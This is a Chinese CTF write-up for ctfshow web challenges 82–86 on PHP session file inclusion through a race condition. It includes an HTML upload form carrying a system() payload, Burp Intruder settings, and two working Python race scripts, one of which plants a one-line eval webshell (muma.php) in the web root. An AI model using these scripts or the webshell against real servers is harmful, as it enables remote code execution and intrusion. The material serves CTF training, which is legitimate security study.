ctfshow-web入门-文件包含（web82-web86）条件竞争实现session会话文件包含

目录

1、web82

2、web83

3、web84

4、web85

5、web86

1、web82

新增过滤点 . ，查看提示：利用 session 对话进行文件包含，通过条件竞争实现。

条件竞争这个知识点在文件上传、不死马利用与查杀这些里面也会涉及，如果大家不熟悉条件竞争可以先看看我之前的博客在文件上传中的介绍：

wzsc_文件上传（条件竞争）_竞争条件文件上传-CSDN博客

大致说一下这道题的利用点：

我们在 Cookie 里设置了 PHPSESSID=test，PHP 将会在服务器上创建一个文件：/tmp/sess_test，但是对于默认配置 session.upload_progress.cleanup = on，文件上传后 session 文件内容会立即被清空，我们需要通过条件竞争，在服务器还未来得及删除我们上传的session 文件内容前，成功访问包含到该文件，实现恶意代码的命令执行。

首先我们写一个关于这道题的文件上传框：

内容如下：

注意替换为你自己题目的地址，并将文件命名为 .html 后缀，双击即可打开，其中 value="<?php system('ls'); ?>" 其实就是我们的 payload，即我们希望执行的恶意代码。

<!DOCTYPE html>
<html>
<body>
<form action="https://84202b35-60d0-4bd2-bee2-781631694f2c.challenge.ctf.show//" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="<?php system('ls'); ?>" />
<input type="file" name="file" />
<input type="submit" value="submit" />
</form>
</body>
</html>
<?php
session_start();
?>

双击打开页面，开启 burpsuite 拦截本地请求，随便选一个文件上传提交：

使用 burpsuite 抓包，抓到后发给攻击模块：

按照前面说的利用点，我们需要对 Cookie 进行添加：PHPSESSID=exp（可以自定义的）

接下来就是条件竞争的设置，这里不涉及什么参数的爆破，因此清空掉 $

payload 选择 null（也就是没有），并且勾选上无限重复

我之前的 burpsuite 有一个选项里面可以设置线程数：

现在用的这个 burpsuite 有点不一样，应该是这里：

目前我们设置的是上传包的线程数，这里以 30 为例

之后开始攻击，我们就会不断的上传一个包含了恶意代码的文件

回到题目所在页面，我们需要再抓一个访问包，访问的文件是上面我们自定义的，我这里是：

?file=/tmp/sess_exp

因为我们前面也说了，我们在 Cookie 里设置了 PHPSESSID=test，PHP 将会在服务器上创建一个文件：/tmp/sess_test。

使用 burpsuite 抓包：

同样清空掉 $，payload 设置为 null，勾上无限重复：

特别注意一点，访问包的线程数需要大于上传包的线程数，这里以 80 为例：

之后也开始攻击，我们就会不断去访问是否存在文件 /tmp/sess_exp

一旦在服务器还未来得及删除我们上传的文件，而被我们成功访问时，根据题目的 php 代码，就会将该文件包含，进而执行我们的恶意代码。

一边不停地上传，一边不停地访问，之所以可以访问到，是因为我们访问的线程数更大：

过一会筛选长度，即可发现条件竞争成功的包：

ls 命令执行成功

修改上传包的 payload，读取 fl0g.php：

条件竞争成功：

拿到 flag：ctfshow{fb4d01d5-8eea-4f79-9d9a-05db3a7d0c9c}

在网上也找到了这类题的攻击脚本：

竞争成功写入一句话木马

import requests
import io
import threading


url='https://84202b35-60d0-4bd2-bee2-781631694f2c.challenge.ctf.show/'
sessionid='ctfshow'
data={
	"1":"file_put_contents('/var/www/html/muma.php','<?php eval($_POST[a]);?>');"
}  

'''
post 传递内容可在网站目录下写入一句话木马。
根据资料，内容暂存在 /tmp/ 目录下 sess_sessionid 文件。
sessionid 可控，所以这里即 /tmp/sess_ctfshow。
这样一旦访问成功，就说明木马植入了
'''


# /tmp/sess_sessionid 中写入一句话木马。
def write(session):  
	fileBytes = io.BytesIO(b'a'*1024*50)
	while True:
		response=session.post(
			url,
			data={
			'PHP_SESSION_UPLOAD_PROGRESS':'<?php eval($_POST[1]);?>'
			},
			cookies={
			'PHPSESSID':sessionid
			},
			files={
			'file':('ctfshow.jpg',fileBytes)
			}
			)


# 访问 /tmp/sess_sessionid，post 传递信息，保存新木马。
def read(session):
	while True:
		response=session.post(
			url+'?file=/tmp/sess_'+sessionid,
	        data=data,
			cookies={
			'PHPSESSID':sessionid
			}
			)
		# 访问木马文件，如果访问到了就代表竞争成功
		resposne2=session.get(url+'muma.php')
		if resposne2.status_code==200:
			print('++++++done++++++')
		else:
			print(resposne2.status_code)

if __name__ == '__main__':

	evnet=threading.Event()
	# 写入和访问分别设置 5 个线程。
	with requests.session() as session:
		for i in range(5):
			threading.Thread(target=write,args=(session,)).start()
		for i in range(5):
			threading.Thread(target=read,args=(session,)).start()

	evnet.set()

运行看到  ++++++done++++++ 之后说明木马写入成功

访问 muma.php 并调用：

a=system('ls');

可以看到我们写入的木马，就在当前目录

读取 flag：

a=system('tac fl0g.php');

2、web83

新增两个函数：

session_unset();
session_destroy();

两者都是 PHP 中与会话（session）管理相关的函数，用于清除和销毁会话数据。

session_unset():

作用: 清空当前会话中的所有变量。

使用场景: 当你希望保留会话但清除会话中的数据时使用。例如，你可能想让用户保持登录状态，但重置会话中的特定数据。

示例:

session_start(); // 开始会话
$_SESSION['username'] = 'John'; // 设置会话变量
session_unset(); // 清空所有会话变量
echo isset($_SESSION['username']); // 输出: bool(false)

session_destroy():

作用: 完全销毁会话，包括会话数据和会话ID。

使用场景: 当你希望用户完全登出或结束会话时使用。例如，用户点击“注销”按钮时，通常会调用此函数。

示例:

session_start(); // 开始会话
$_SESSION['username'] = 'John'; // 设置会话变量
session_destroy(); // 销毁会话
echo isset($_SESSION['username']); // 输出: bool(false)

总结：

session_unset()只是清空会话变量，但会话仍然存在。
session_destroy()完全销毁会话，包括会话数据和会话ID。
两者常常一起使用，以确保会话数据被清除，并确保会话本身被销毁：

session_start(); // 开始会话
session_unset(); // 清空所有会话变量
session_destroy(); // 销毁会话

这两个函数对于我们这里的条件竞争影响不大，在第一题中我们已经介绍过利用的原理了，因此后面我就不再演示手动的步骤，直接使用脚本来打。

这里给到另一个脚本，我们直接执行命令：

#coding=utf-8

import io
import requests
import threading
sessid = 'exp'
data = {"cmd":"system('whoami');"}
def write(session):
    while True:
        f = io.BytesIO(b'a' * 1024 * 50)
        resp = session.post( 'https://ff5baee2-33e9-4249-8188-b79f81296793.challenge.ctf.show/', data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php eval($_POST["cmd"]);?>'}, files={'file': ('test.txt',f)}, cookies={'PHPSESSID': sessid} )
def read(session):
    while True:
        resp = session.post('https://ff5baee2-33e9-4249-8188-b79f81296793.challenge.ctf.show/?file=/tmp/sess_'+sessid,data=data)
        if 'test.txt' in resp.text:
            print(resp.text)
            event.clear()
        else:
            print("[+++++++++++++]retry")
if __name__=="__main__":
    event=threading.Event()
    with requests.session() as session:
        for i in range(1,30):
            threading.Thread(target=write,args=(session,)).start()

        for i in range(1,30):
            threading.Thread(target=read,args=(session,)).start()
    event.set()

运行脚本，whoami 命令执行成功 

接下来我们执行 ls 命令：

存在 fl0g.php

读取 flag：

拿到 flag：ctfshow{b4f6c4ae-24c3-4bdf-b0cb-02d44a71069e}

 

3、web84

新增  system("rm -rf /tmp/*"); 删除我们上传的文件，其实 session.upload_progress.cleanup = on 本身就会进行清空，所以这里对我们利用影响不大。

改一下题目地址继续读 flag：

拿到 flag：ctfshow{06f54734-37c6-4b2e-b9da-37df8d66555f}

4、web85

新增：

    if(file_exists($file)){
        $content = file_get_contents($file);
        if(strpos($content, "<")>0){
            die("error");
        }

 file_get_contents 函数将会读取文件的全部内容并将其作为字符串返回，strpos($content, "<") 查找字符串 $content 中首次出现字符 < 的位置，如果其位置索引大于 0，则会停止执行并输出 error 信息。

对我们条件竞争不影响，沿用上面的脚本：

拿到 flag：ctfshow{44cafdd4-f08a-483d-af45-19ed3229dd81}

5、web86

新增：

define('还要秀？', dirname(__FILE__));
set_include_path(还要秀？);

代码解释：

define 函数用于定义一个常量。在这里，它定义了一个名为 还要秀？ 的常量。
dirname(__FILE__) 返回当前文件所在的目录路径。__FILE__ 是一个魔术常量，表示当前文件的完整路径和文件名，而 dirname(__FILE__) 则获取当前文件的目录部分。
因此，这行代码将当前文件的目录路径赋值给名为 还要秀？ 的常量。

set_include_path 函数用于设置 PHP 包含文件的搜索路径，在这里，它将包含路径设置为 还要秀？ 这个常量的值，即当前文件的目录路径。

设置 PHP 的包含路径为当前文件的目录路径。这样在后续代码中使用 include()  时，可以省略文件的完整路径，只需提供文件名。

当使用 include()、require()、include_once() 或 require_once() 时，如果提供的路径既不是绝对路径也不是相对路径，PHP 会首先在 include_path 设置的目录中查找文件。

我们条件竞争进行包含的文件是一个完整路径，即 /tmp/sess_exp，因此不影响：

拿到 flag：ctfshow{8dc8c8cd-7851-4e2e-9afb-dfba214569d4}

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：http://www.mfbz.cn/a/776128.html

如若内容造成侵权/违法违规/事实不符，请联系我们进行投诉反馈qq邮箱809451989@qq.com，一经查实，立即删除！

相关文章

JavaScript高级程序设计(第四版)--学习记录之对象、类和面向对象编程(中)

JavaScript高级程序设计(第四版)--学习记录之对象、类和面向对象编程(中)

创建对象方式 工厂模式&#xff1a;用于抽象创建特定对象的过程。可以解决创建多个类似对象的问题&#xff0c;但没有解决对象标识问题。&#xff08;即新创建的对象是什么类型&#xff09; function createPerson(name, age, job) { let o new Object(); o.name name; o.age…
阅读更多...
广和通 OpenCPU 二次开发（二） ——通过linux编译

广和通 OpenCPU 二次开发（二） ——通过linux编译

广和通 OpenCPU 二次开发&#xff08;二&#xff09; ——通过linux编译 一、编译命令总结 1.编译环境配置 . tools/core_launch.sh cout cmake ../.. -G Ninja 2.编译 ninja 二、命令解释 1. 执行 tools/core_launch.sh 这是一个脚本文件 core_launch.sh&#xff0c;通…
阅读更多...
技术赋能政务服务：VR导视与AI客服在政务大厅的创新应用

技术赋能政务服务：VR导视与AI客服在政务大厅的创新应用

在数字化转型的浪潮中&#xff0c;政务大厅作为服务民众的前沿阵地&#xff0c;其服务效率和质量直接影响着政府形象和民众满意度。然而&#xff0c;许多政务大厅仍面临着缺乏智能化导航系统的挑战&#xff0c;这不仅增加了群众的办事难度&#xff0c;也降低了服务效率。维小帮…
阅读更多...
内核错误定位

内核错误定位

内核打印出如下&#xff1a; 在代码目录输入&#xff1a; ./prebuilts/gcc/linux-x86/aarch64/gcc-linaro-6.3.1-2017.05-x86_64_aarch64-linux-gnu/bin/aarch64-linux-gnu-gdb kernel/vmlinux 进入gdb 命令模式 输入 l *(rk628_csi_probe0xf0) 能定位到出现问题地方。 最后就…
阅读更多...
PLM系统：PLM系统如何重塑产品生命周期管理

PLM系统：PLM系统如何重塑产品生命周期管理

PLM系统&#xff1a;重塑产品生命周期管理的未来 在当今快速变化的商业环境中&#xff0c;产品生命周期管理&#xff08;PLM&#xff09;系统正逐渐成为企业提升竞争力、加速创新并优化运营流程的关键工具。随着技术的不断进步和市场需求的日益复杂化&#xff0c;传统的手动或…
阅读更多...
试用笔记之-汇通窗口颜色显示软件(颜色值可供Delphi编程用)

试用笔记之-汇通窗口颜色显示软件(颜色值可供Delphi编程用)

首先下载汇通窗口颜色显示软件 http://www.htsoft.com.cn/download/wdspy.rar 通过获得句柄颜色&#xff0c;显示Delphi颜色值和HTML颜色值
阅读更多...
Python：Pycharm安装指南

Python：Pycharm安装指南

三、Pycharm安装指南 在开始之前今天内容之前&#xff0c;将上篇的初体验练习题公布如下&#xff1a; 初体验练习题&#xff1a;输入两个字符&#xff0c;将他们组合后输出。 str1 input("请输入名字&#xff1a;") str2 input("请输入城市&#xff1a;&qu…
阅读更多...
Vue iview-ui 被tooltip包裹的标题，点击跳转后，提示框不消失

Vue iview-ui 被tooltip包裹的标题，点击跳转后，提示框不消失

tooltip包裹的标题&#xff0c;点击跳转后&#xff0c;提示框不消失 就会有这种显示问题 下面这种错误方法不可行&#xff0c;解决办法往下翻 css写得没错&#xff0c;问题出在Javascript当中的 getElementsByClassName(“xxabc”)&#xff0c; 这个方法得到的是一个由class&q…
阅读更多...
Python | Leetcode Python题解之第213题打家劫舍II

Python | Leetcode Python题解之第213题打家劫舍II

题目&#xff1a; 题解&#xff1a; class Solution:def rob(self, nums: List[int]) -> int:def robRange(start: int, end: int) -> int:first nums[start]second max(nums[start], nums[start 1])for i in range(start 2, end 1):first, second second, max(fi…
阅读更多...
PHP基础教程——总结W3school

PHP基础教程——总结W3school

1、<?php ?> 2、$ 声明变量 3、变量大小写敏感 关键字&#xff08;if、else、echo&#xff09;和用户定义的类、函数大小写不敏感 4、三种注释 // # /* */ 5、echo "<br>"; 换行 6、global(关键字) 函数内访问全局变量 $GLOBALS[index] …
阅读更多...
7寸微型FPV无人机技术详解

7寸微型FPV无人机技术详解

对于7寸微型FPV&#xff08;First Person View&#xff0c;第一人称视角&#xff09;无人机技术的详解&#xff0c;可以从以下几个方面进行介绍&#xff1a; 一、定义与基本概念 FPV无人机&#xff0c;全称为“第一人称视角无人机”&#xff0c;它利用安装在无人机上的摄像头…
阅读更多...
[单master节点k8s部署]19.监控系统构建（四）kube-state-metrics

[单master节点k8s部署]19.监控系统构建（四）kube-state-metrics

kube-state-metrics 是一个Kubernetes的附加组件&#xff0c;它通过监听 Kubernetes API 服务器来收集和生成关于 Kubernetes 对象&#xff08;如部署、节点和Pod等&#xff09;的状态的指标。这些指标可供 Prometheus 进行抓取和存储&#xff0c;从而使你能够监控和分析Kubern…
阅读更多...
科研绘图系列：R语言STAMP图（STAMP Plot）

科研绘图系列：R语言STAMP图（STAMP Plot）

介绍 STAMP图（STAMP plot）并非一个广泛认知的、具有特定名称的图表类型，而是可能指在STAMP（Statistical Analysis of Metagenomic Profiles：“STAMP: statistical analysis of taxonomic and functional profiles”）软件使用过程中生成的各种统计和可视化图表的总称。ST…
阅读更多...
使用OpenCV对图像进行三角形检测、颜色识别与距离估算【附代码】

使用OpenCV对图像进行三角形检测、颜色识别与距离估算【附代码】

文章目录 前言功能概述必要环境一、代码结构1. 参数定义2. 距离估计3. 颜色转换4. 图像处理函数4.1 读取图像和预处理4.2 轮廓检测4.3 过滤面积并检测三角形4.4 提取边框并计算距离 二、效果展示红色三角形绿色三角形蓝色三角形黄色三角形 三、完整代码获取总结 前言 本文将介…
阅读更多...
通过 Parallels Desktop 虚拟机安装运行 macOS 15 Sequoia

通过 Parallels Desktop 虚拟机安装运行 macOS 15 Sequoia

在 Apple 的 WWDC 24 大会上&#xff0c;macOS Sequoia 15 成为全场热议的焦点。 作为科技爱好者和开发者&#xff0c;我们都迫不及待想要体验这些最新功能。但如果直接把整个 Mac 升级到测试版&#xff0c;可能不太现实&#xff0c;特别是当你需要保持主系统稳定的时候。 幸…
阅读更多...
Alpha2：使用深度强化学习挖掘公式化的超额收益因子（附论文及源代码）

Alpha2：使用深度强化学习挖掘公式化的超额收益因子（附论文及源代码）

原创文章第577篇&#xff0c;专注“AI量化投资、世界运行的规律、个人成长与财富自由"。 今天说说因子挖掘&#xff0c;我们之前交付的Deap遗传算法因子挖掘&#xff0c;大家可以前往温习一下&#xff1a; 源码发布Quantlab4.2&#xff0c;Deap因子挖掘|gplearn做不到的…
阅读更多...
小程序分包加载、独立分包、分包预加载等

小程序分包加载、独立分包、分包预加载等

一、小程序分包加载 小程序的代码通常是由许多页面、组件以及资源等组成&#xff0c;随着小程序功能的增加&#xff0c;代码量也会逐渐增加&#xff0c; 体积过大就会导致用户打开速度变慢&#xff0c;影响用户的使用体验。分包加载是一种小程序优化技术。将小程序不同功能的代…
阅读更多...
springboot基础入门2(profile应用)

springboot基础入门2(profile应用)

Profile应用 一、何为Profile二、profile配置方式1.多profile文件方式2.yml多文档方式 三、加载顺序1. file:./config/: 当前项目下的/config目录下2. file:./ &#xff1a;当前项目的根目录3. classpath:/config/:classpath的/config目录4. classpath:/ : classpath的根目录 四…
阅读更多...
LabVIEW环境下OCR文字识别的实现策略与挑战解析

LabVIEW环境下OCR文字识别的实现策略与挑战解析

引言 在自动化测试领域&#xff0c;OCR&#xff08;Optical Character Recognition&#xff0c;光学字符识别&#xff09;技术扮演着重要角色&#xff0c;它能够将图像中的文字转换成机器可编辑的格式。对于使用LabVIEW约5个月&#xff0c;主要进行仪器控制与数据采集的你而言…
阅读更多...
什么是T0策略？有没有可以持仓自动做T的策略软件？

什么是T0策略？有没有可以持仓自动做T的策略软件？

​​行情低迷&#xff0c;持仓被套&#xff0c;不想被动等待&#xff1f;长期持股&#xff0c;想要增厚持仓收益&#xff1f;有没有可以自动做T的工具或者策略&#xff1f;日内T0交易&#xff0c;做到降低持仓成本&#xff0c;优化收益预期。 什么是T0策略&#xff1f; 可以提…
阅读更多...
最新文章

Copyright @ 2022~2023